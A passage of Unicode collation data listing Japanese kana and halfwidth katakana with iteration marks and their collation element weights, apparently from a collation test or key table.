[.3BD2.0020.0011.0002][.3BD2.0020.0010.0002] # +305D 309D ; [.3BD2.0020.0011.0001][.3BD2.0020.0010.0002] # +30BD 30FE ; [.3BD2.0020.0011.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # +FF7F 30FE ; [.3BD2.0020.0011.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # +305D 309E ; [.3BD2.0020.0011.0001][.3BD2.0020.0010.0002][.0000.0037.0002] # +30BE 30FD ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002] # +30BD 3099 30FD ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002] # +FF7F FF9E 30FD ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002] # +305E 309D ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BD2.0020.0010.0002] # +305D 3099 309D ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BD2.0020.0010.0002] # +30BE 30FE ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # +30BD 3099 30FE ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # +FF7F FF9E 30FE ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # +305E 309E ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # +305D 3099 309E ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BD2.0020.0010.0002][.0000.0037.0002] # +30BF 30FD ; [.3BD3.0020.0011.0002][.3BD3.0020.0010.0002] # +FF80 30FD ; [.3BD3.0020.0011.0002][.3BD3.0020.0010.0002] # +305F 309D ; [.3BD3.0020.0011.0001][.3BD3.0020.0010.0002] # +30BF 30FE ; [.3BD3.0020.0011.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # +FF80 30FE ; [.3BD3.0020.0011.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # +305F 309E ; [.3BD3.0020.0011.0001][.3BD3.0020.0010.0002][.0000.0037.0002] # +30C0 30FD ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002] # +30BF 3099 30FD ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002] # +FF80 FF9E 30FD ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002] # +3060 309D ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BD3.0020.0010.0002] # +305F 3099 309D ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BD3.0020.0010.0002] # +30C0 30FE ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # +30BF 3099 30FE ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # +FF80 FF9E 30FE ; [.3BD3.0020.0011.0002][.0000.0037.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # +3060 309E ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # +305F 3099 309E ; [.3BD3.0020.0011.0001][.0000.0037.0002][.3BD3.0020.0010.0002][.0000.0037.0002] # +30C1 30FD ; [.3BD4.0020.0011.0002][.3BD4.0020.0010.0002] # +FF81 30FD ; [.3BD4.0020.0011.0002][.3BD4.0020.0010.0002] # +3061 309D ; [.3BD4.0020.0011.0001][.3BD4.0020.0010.0002] # +30C1 30FE ; [.3BD4.0020.0011.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # +FF81 30FE ; [.3BD4.0020.0011.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # +3061 309E ; [.3BD4.0020.0011.0001][.3BD4.0020.0010.0002][.0000.0037.0002] # +30C2 30FD ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002] # +30C1 3099 30FD ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002] # +FF81 FF9E 30FD ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002] # +3062 309D ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BD4.0020.0010.0002] # +3061 3099 309D ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BD4.0020.0010.0002] # +30C2 30FE ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # +30C1 3099 30FE ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # +FF81 FF9E 30FE ; [.3BD4.0020.0011.0002][.0000.0037.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # +3062 309E ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # +3061 3099 309E ; [.3BD4.0020.0011.0001][.0000.0037.0002][.3BD4.0020.0010.0002][.0000.0037.0002] # +30C3 30FD ; [.3BD5.0020.000F.0002][.3BD5.0020.0010.0002] # +FF6F 30FD ; [.3BD5.0020.000F.0002][.3BD5.0020.0010.0002] # +3063 309D ; [.3BD5.0020.000F.0001][.3BD5.0020.0010.0002] # +30C3 30FE ; [.3BD5.0020.000F.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # +FF6F 30FE ; [.3BD5.0020.000F.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # +3063 309E ; [.3BD5.0020.000F.0001][.3BD5.0020.0010.0002][.0000.0037.0002] # +30C4 30FD ; [.3BD5.0020.0011.0002][.3BD5.0020.0010.0002] # +FF82 30FD ; [.3BD5.0020.0011.0002][.3BD5.0020.0010.0002] # +3064 309D ; [.3BD5.0020.0011.0001][.3BD5.0020.0010.0002] # +30C4 30FE ; [.3BD5.0020.0011.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # +FF82 30FE ; [.3BD5.0020.0011.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # +3064 309E ; [.3BD5.0020.0011.0001][.3BD5.0020.0010.0002][.0000.0037.0002] # +30C5 30FD ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002] # +30C4 3099 30FD ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002] # +FF82 FF9E 30FD ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002] # +3065 309D ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BD5.0020.0010.0002] # +3064 3099 309D ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BD5.0020.0010.0002] # +30C5 30FE ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # +30C4 3099 30FE ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # +FF82 FF9E 30FE ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # +3065 309E ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # +3064 3099 309E ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # +30C6 30FD ; [.3BD6.0020.0011.0002][.3BD6.0020.0010.0002] # +FF83 30FD ; [.3BD6.0020.0011.0002][.3BD6.0020.0010.0002] # +3066 309D ; [.3BD6.0020.0011.0001][.3BD6.0020.0010.0002] # +30C6 30FE ; [.3BD6.0020.0011.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # +FF83 30FE ; [.3BD6.0020.0011.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # +3066 309E ; [.3BD6.0020.0011.0001][.3BD6.0020.0010.0002][.0000.0037.0002] # +30C7 30FD ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002] # +30C6 3099 30FD ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002] # +FF83 FF9E 30FD ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002] # +3067 309D ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BD6.0020.0010.0002] # +3066 3099 309D ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BD6.0020.0010.0002] # +30C7 30FE ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # +30C6 3099 30FE ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # +FF83 FF9E 30FE ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # +3067 309E ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # +3066 3099 309E ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # +30C8 30FD ; [.3BD7.0020.0011.0002][.3BD7.0020.0010.0002] # +FF84 30FD ; [.3BD7.0020.0011.0002][.3BD7.0020.0010.0002] # +3068 309D ; [.3BD7.0020.0011.0001][.3BD7.0020.0010.0002] # +30C8 30FE ; [.3BD7.0020.0011.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # +FF84 30FE ; [.3BD7.0020.0011.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # +3068 309E ; [.3BD7.0020.0011.0001][.3BD7.0020.0010.0002][.0000.0037.0002] # +30C9 30FD ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002] # +30C8 3099 30FD ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002] # +FF84 FF9E 30FD ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002] # +3069 309D ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BD7.0020.0010.0002] # +3068 3099 309D ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BD7.0020.0010.0002] # +30C9 30FE ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # +30C8 3099 30FE ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # +FF84 FF9E 30FE ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # +3069 309E ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # +3068 3099 309E ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # +30CA 30FD ; [.3BD8.0020.0011.0002][.3BD8.0020.0010.0002] # +FF85 30FD ; [.3BD8.0020.0011.0002][.3BD8.0020.0010.0002] # +306A 309D ; [.3BD8.0020.0011.0001][.3BD8.0020.0010.0002] # +30CB 30FD ; [.3BD9.0020.0011.0002][.3BD9.0020.0010.0002] # +FF86 30FD ; [.3BD9.0020.0011.0002][.3BD9.0020.0010.0002] # +306B 309D ; [.3BD9.0020.0011.0001][.3BD9.0020.0010.0002] # +30CC 30FD ; [.3BDA.0020.0011.0002][.3BDA.0020.0010.0002] # +FF87 30FD ; [.3BDA.0020.0011.0002][.3BDA.0020.0010.0002] # +306C 309D ; [.3BDA.0020.0011.0001][.3BDA.0020.0010.0002] # +30CD 30FD ; [.3BDB.0020.0011.0002][.3BDB.0020.0010.0002] # +FF88 30FD ; [.3BDB.0020.0011.0002][.3BDB.0020.0010.0002] # +306D 309D ; [.3BDB.0020.0011.0001][.3BDB.0020.0010.0002] # +30CE 30FD ; [.3BDC.0020.0011.0002][.3BDC.0020.0010.0002] # +FF89 30FD ; [.3BDC.0020.0011.0002][.3BDC.0020.0010.0002] # +306E 309D ; [.3BDC.0020.0011.0001][.3BDC.0020.0010.0002] # +30CF 30FD ; [.3BDD.0020.0011.0002][.3BDD.0020.0010.0002] # +FF8A 30FD ; [.3BDD.0020.0011.0002][.3BDD.0020.0010.0002] # +306F 309D ; [.3BDD.0020.0011.0001][.3BDD.0020.0010.0002] # +30CF 30FE ; [.3BDD.0020.0011.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +FF8A 30FE ; [.3BDD.0020.0011.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +306F 309E ; [.3BDD.0020.0011.0001][.3BDD.0020.0010.0002][.0000.0037.0002] # +30D0 30FD ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002] # +30CF 3099 30FD ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002] # +FF8A FF9E 30FD ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002] # +3070 309D ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BDD.0020.0010.0002] # +306F 3099 309D ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BDD.0020.0010.0002] # +30D0 30FE ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +30CF 3099 30FE ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +FF8A FF9E 30FE ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +3070 309E ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +306F 3099 309E ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +30D1 30FD ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002] # +30CF 309A 30FD ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002] # +FF8A FF9F 30FD ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002] # +3071 309D ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BDD.0020.0010.0002] # +306F 309A 309D ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BDD.0020.0010.0002] # +30D1 30FE ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +30CF 309A 30FE ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +FF8A FF9F 30FE ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +3071 309E ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +306F 309A 309E ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # +30D2 30FD ; [.3BDE.0020.0011.0002][.3BDE.0020.0010.0002] # +FF8B 30FD ; [.3BDE.0020.0011.0002][.3BDE.0020.0010.0002] # +3072 309D ; [.3BDE.0020.0011.0001][.3BDE.0020.0010.0002] # +30D2 30FE ; [.3BDE.0020.0011.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +FF8B 30FE ; [.3BDE.0020.0011.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +3072 309E ; [.3BDE.0020.0011.0001][.3BDE.0020.0010.0002][.0000.0037.0002] # +30D3 30FD ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002] # +30D2 3099 30FD ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002] # +FF8B FF9E 30FD ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002] # +3073 309D ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BDE.0020.0010.0002] # +3072 3099 309D ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BDE.0020.0010.0002] # +30D3 30FE ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +30D2 3099 30FE ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +FF8B FF9E 30FE ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +3073 309E ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +3072 3099 309E ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +30D4 30FD ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002] # +30D2 309A 30FD ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002] # +FF8B FF9F 30FD ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002] # +3074 309D ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BDE.0020.0010.0002] # +3072 309A 309D ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BDE.0020.0010.0002] # +30D4 30FE ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +30D2 309A 30FE ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +FF8B FF9F 30FE ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +3074 309E ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +3072 309A 309E ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # +30D5 30FD ; [.3BDF.0020.0011.0002][.3BDF.0020.0010.0002] # +FF8C 30FD ; [.3BDF.0020.0011.0002][.3BDF.0020.0010.0002] # +3075 309D ; [.3BDF.0020.0011.0001][.3BDF.0020.0010.0002] # +30D5 30FE ; [.3BDF.0020.0011.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +FF8C 30FE ; [.3BDF.0020.0011.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +3075 309E ; [.3BDF.0020.0011.0001][.3BDF.0020.0010.0002][.0000.0037.0002] # +30D6 30FD ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002] # +30D5 3099 30FD ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002] # +FF8C FF9E 30FD ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002] # +3076 309D ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BDF.0020.0010.0002] # +3075 3099 309D ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BDF.0020.0010.0002] # +30D6 30FE ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +30D5 3099 30FE ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +FF8C FF9E 30FE ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +3076 309E ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +3075 3099 309E ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +30D7 30FD ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002] # +30D5 309A 30FD ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002] # +FF8C FF9F 30FD ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002] # +3077 309D ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BDF.0020.0010.0002] # +3075 309A 309D ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BDF.0020.0010.0002] # +30D7 30FE ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +30D5 309A 30FE ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +FF8C FF9F 30FE ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +3077 309E ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +3075 309A 309E ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # +30D8 30FD ; [.3BE0.0020.0011.0002][.3BE0.0020.0010.0002] # +FF8D 30FD ; [.3BE0.0020.0011.0002][.3BE0.0020.0010.0002] # +3078 309D ; [.3BE0.0020.0011.0001][.3BE0.0020.0010.0002] # +30D8 30FE ; [.3BE0.0020.0011.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +FF8D 30FE ; [.3BE0.0020.0011.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +3078 309E ; [.3BE0.0020.0011.0001][.3BE0.0020.0010.0002][.0000.0037.0002] # +30D9 30FD ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002] # +30D8 3099 30FD ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002] # +FF8D FF9E 30FD ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002] # +3079 309D ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BE0.0020.0010.0002] # +3078 3099 309D ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BE0.0020.0010.0002] # +30D9 30FE ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +30D8 3099 30FE ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +FF8D FF9E 30FE ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +3079 309E ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +3078 3099 309E ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +30DA 30FD ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002] # +30D8 309A 30FD ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002] # +FF8D FF9F 30FD ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002] # +307A 309D ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BE0.0020.0010.0002] # +3078 309A 309D ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BE0.0020.0010.0002] # +30DA 30FE ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +30D8 309A 30FE ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +FF8D FF9F 30FE ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +307A 309E ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +3078 309A 309E ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # +30DB 30FD ; [.3BE1.0020.0011.0002][.3BE1.0020.0010.0002] # +FF8E 30FD ; [.3BE1.0020.0011.0002][.3BE1.0020.0010.0002] # +307B 309D ; [.3BE1.0020.0011.0001][.3BE1.0020.0010.0002] # +30DB 30FE ; [.3BE1.0020.0011.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +FF8E 30FE ; [.3BE1.0020.0011.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +307B 309E ; [.3BE1.0020.0011.0001][.3BE1.0020.0010.0002][.0000.0037.0002] # +30DC 30FD ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002] # +30DB 3099 30FD ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002] # +FF8E FF9E 30FD ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002] # +307C 309D ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BE1.0020.0010.0002] # +307B 3099 309D ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BE1.0020.0010.0002] # +30DC 30FE ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +30DB 3099 30FE ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +FF8E FF9E 30FE ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +307C 309E ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +307B 3099 309E ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +30DD 30FD ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002] # +30DB 309A 30FD ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002] # +FF8E FF9F 30FD ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002] # +307D 309D ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BE1.0020.0010.0002] # +307B 309A 309D ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BE1.0020.0010.0002] # +30DD 30FE ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +30DB 309A 30FE ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +FF8E FF9F 30FE ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +307D 309E ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +307B 309A 309E ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BE1.0020.0010.0002][.0000.0037.0002] # +30DE 30FD ; [.3BE2.0020.0011.0002][.3BE2.0020.0010.0002] # +FF8F 30FD ; [.3BE2.0020.0011.0002][.3BE2.0020.0010.0002] # +307E 309D ; [.3BE2.0020.0011.0001][.3BE2.0020.0010.0002] # +30DF 30FD ; [.3BE3.0020.0011.0002][.3BE3.0020.0010.0002] # +FF90 30FD ; [.3BE3.0020.0011.0002][.3BE3.0020.0010.0002] # +307F 309D ; [.3BE3.0020.0011.0001][.3BE3.0020.0010.0002] # +30E0 30FD ; [.3BE4.0020.0011.0002][.3BE4.0020.0010.0002] # +FF91 30FD ; [.3BE4.0020.0011.0002][.3BE4.0020.0010.0002] # +3080 309D ; [.3BE4.0020.0011.0001][.3BE4.0020.0010.0002] # +30E1 30FD ; [.3BE5.0020.0011.0002][.3BE5.0020.0010.0002] # +FF92 30FD ; [.3BE5.0020.0011.0002][.3BE5.0020.0010.0002] # +3081 309D ; [.3BE5.0020.0011.0001][.3BE5.0020.0010.0002] # +30E2 30FD ; [.3BE6.0020.0011.0002][.3BE6.0020.0010.0002] # +FF93 30FD ; [.3BE6.0020.0011.0002][.3BE6.0020.0010.0002] # +3082 309D ; [.3BE6.0020.0011.0001][.3BE6.0020.0010.0002] # +30E3 30FD ; [.3BE7.0020.000F.0002][.3BE7.0020.0010.0002] # +FF6C 30FD ; [.3BE7.0020.000F.0002][.3BE7.0020.0010.0002] # +3083 309D ; [.3BE7.0020.000F.0001][.3BE7.0020.0010.0002] # +30E4 30FD ; [.3BE7.0020.0011.0002][.3BE7.0020.0010.0002] # +FF94 30FD ; [.3BE7.0020.0011.0002][.3BE7.0020.0010.0002] # +3084 309D ; [.3BE7.0020.0011.0001][.3BE7.0020.0010.0002] # +30E5 30FD ; [.3BE8.0020.000F.0002][.3BE8.0020.0010.0002] # +FF6D 30FD ; [.3BE8.0020.000F.0002][.3BE8.0020.0010.0002] # +3085 309D ; [.3BE8.0020.000F.0001][.3BE8.0020.0010.0002] # +30E6 30FD ; [.3BE8.0020.0011.0002][.3BE8.0020.0010.0002] # +FF95 30FD ; [.3BE8.0020.0011.0002][.3BE8.0020.0010.0002] # +3086 309D ; [.3BE8.0020.0011.0001][.3BE8.0020.0010.0002] # +30E7 30FD ; [.3BEA.0020.000F.0002][.3BEA.0020.0010.0002] # +FF6E 30FD ; [.3BEA.0020.000F.0002][.3BEA.0020.0010.0002] # +3087 309D ; [.3BEA.0020.000F.0001][.3BEA.0020.0010.0002] # +30E8 30FD ; [.3BEA.0020.0011.0002][.3BEA.0020.0010.0002] # +FF96 30FD ; [.3BEA.0020.0011.0002][.3BEA.0020.0010.0002] # +3088 309D ; [.3BEA.0020.0011.0001][.3BEA.0020.0010.0002] # +30E9 30FD ; [.3BEB.0020.0011.0002][.3BEB.0020.0010.0002] # +FF97 30FD ; [.3BEB.0020.0011.0002][.3BEB.0020.0010.0002] # +3089 309D ; [.3BEB.0020.0011.0001][.3BEB.0020.0010.0002] # +30EA 30FD ; [.3BEC.0020.0011.0002][.3BEC.0020.0010.0002] # +FF98 30FD ; [.3BEC.0020.0011.0002][.3BEC.0020.0010.0002] # +308A 309D ; [.3BEC.0020.0011.0001][.3BEC.0020.0010.0002] # +30EB 30FD ; [.3BED.0020.0011.0002][.3BED.0020.0010.0002] # +FF99 30FD ; [.3BED.0020.0011.0002][.3BED.0020.0010.0002] # +308B 309D ; [.3BED.0020.0011.0001][.3BED.0020.0010.0002] # +30EC 